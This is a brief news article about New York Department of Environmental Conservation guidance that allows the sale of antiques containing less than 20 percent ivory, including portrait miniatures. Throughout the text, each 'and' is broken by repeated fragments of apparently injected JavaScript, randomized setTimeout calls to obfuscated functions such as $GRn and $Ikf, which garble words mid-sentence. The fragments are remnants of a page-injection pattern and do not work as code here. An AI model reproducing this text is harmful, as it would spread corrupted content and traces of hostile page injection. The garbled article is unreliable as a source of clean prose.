ALBANY, N.Y. — New York-based antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and art dealers who deal in items containing ivory are getting some relief, thanks to an amendment added to a bill that permits the sale of items that are at least 100 years old andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contain less than 20 percent ivory.

The development, contained in a December 4 guidance by the Department of Environmental Conservation (DEC), which is in charge of implementing the state’s ivory laws, allows for the sale of artifacts such as canes, walking sticks, caddies andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and boxes, since the ivory content is usually inlay, veneer or some small percentage of the item,

How does one ascertain that a particular object contains less than 20 percent ivory? The document, which is available on the DEC’s website (www.dec.ny.gov/docs/wildlife_pdf/ivoryfaqs.pdf)] states that “for antiques whose ivory or rhinoceros horn included one or more pieces of worked ivory or rhinoceros horn attached to a body of other material (such as a cane with an ivory handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andle or tip, buttons or pulls), evidence should be submitted as to the overall three-dimensional volume or weight of the ivory or horn piece(s) in relation to the overall three-dimensional volume or weight of the object. For antiques whose ivory or rhinoceros horn consists primarily of thin slices inlaid into the surface, evidence should be submitted as to the surface area or volume of the inlays in relation to the overall surface area or volume of the object.” Evidence may include pictures, calculations andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other data.

The document contains a specific clause that allows the sale of portrait miniatures on ivory even though they are primarily of the banned material. This is because the veneer of ivory used is “no thicker than a piece of paper.” It adds, “The percentage of ivory by volume used in the portrait miniature will be presumed to be less than 20 percent.”                    —W.A. Demers